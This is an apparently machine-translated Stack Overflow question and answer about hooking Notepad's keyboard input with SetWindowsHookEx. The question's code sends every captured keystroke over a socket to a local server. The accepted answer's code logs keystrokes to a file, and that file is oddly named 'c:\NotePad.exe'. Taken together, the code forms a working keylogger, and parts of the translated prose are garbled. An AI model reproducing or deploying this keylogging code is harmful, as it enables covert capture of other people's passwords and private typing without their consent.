2011-12-30 4 views
1

SetWindowsHookExを使用してNotepad.exeをキーボードフックしようとしています。Notepad.exeをフックしようとしています

ご覧のとおり、ワーキングスレッドは、wParamであるASCIIコードを指定されたサーバーに送信しています。

UINT WINAPI SendToServer(LPVOID lpParam) 
{ 
    CSocket Client; 

    Client.Create(); 

    Client.Connect("localhost", 6677); 
    Client.Send(lpParam, 2); // sending its ASICI code to Server 

    Client.Close(); 

    return 0; 
} 

LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) 
{ 
    TCHAR szPath[MAX_PATH] = {0,}; 
    TCHAR* p = nullptr; 

    if(nCode >= 0) 
    { 
     // bit 31 : 0 => press, 1 => release 

     if(!(lParam & 0x80000000)) 
     { 
      GetModuleFileName(NULL, szPath, MAX_PATH); 
      p = strrchr(szPath, '\\'); 

      if(!_stricmp(p + 1, "Notepad.exe")) 
      { 
       unsigned ThreadID; 
       g_hThread = reinterpret_cast<HANDLE>(_beginthreadex(NULL, 0, SendToServer, &wParam, 0, &ThreadID)); // a new working thread 

       return 0; 
      } 
     } 
    } 

    return CallNextHookEx(g_hHook, nCode, wParam, lParam); 
} 

問題は、新しい作業スレッドに関連するいくつかの理由のために、メモ帳は、重大なエラーが発生し、ある(私は「無視」ボタンを数回クリックした場合、それはちょっとかかわらず動作します。)

私は削除以下、このライン、

g_hThread = reinterpret_cast<HANDLE>(_beginthreadex(NULL, 0, SendToServer, &wParam, 0, &ThreadID)); // a new working thread 

は、その後エラーはすべてのヘルプは非常に高く評価されるだろうメモ帳

から発生していません。

ありがとうございます。

+1

に存在する場所と一致するようにパスを変更 だけのために使用されますが、これはC#のですか?私にとってはC++のように見えます。 –

+0

申し訳ありません、C++です。 C#タグを追加しませんでした。なぜC#タグが追加されたのか分かりません。 –

答えて

2

これはあなたのために機能しますか?ハードコーディングされたパスは、テストの目的は、あなたのNOTEPAD.EXEが

LRESULT __declspec(dllexport)__stdcall CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) 
{ 
    ofstream fout; 
    fout.open("c:\\NotePad.exe",ios::app); 

    if (nCode < 0 || nCode != HC_ACTION) 
    return CallNextHookEx(hkb, nCode, wParam, lParam); 


    if ((((DWORD)lParam & 0x80000000) == 0) && (HC_ACTION == nCode)) 
    { 
    if ((wParam==VK_SPACE)||(wParam==VK_RETURN)||((wParam>=0x2f) &&(wParam<=0x100))) 
     { 
     if(GetAsyncKeyState(wParam) == -32767) //this solve it i got it on google but how ?? 
      { 
     BYTE ks[256]; 
     GetKeyboardState(ks); 

     WORD w; 
     UINT scan=0; 
     ToAscii(wParam,scan,ks,&w,0); 
     fout<<char(w); 
      } 
     } 
    } 

    fout.close(); 

    return CallNextHookEx(hkb, nCode, wParam, lParam); 
} 
+0

完全に動作します。どうもありがとうございます! –

+0

Hrm、いいえ、 "notepad.exeが存在する場所に一致するパスを変更しないでください"。このようにアプリケーションのパスを決してハードコードするべきではありません。テスト目的でサンプルコードを投稿する場合は、実際のコードで決して実行しないという赤いライトが点滅した巨大な警告サインが必要です。 –

+0

面白いことです.. Delphiで17年間コード化されているので、WinApi ShellExecuteを使用してコードを読みやすくなりました。私はC++を読むことができますが、C#を好んでいます。これはうれしいことですあなた.. .. – MethodMan

関連する問題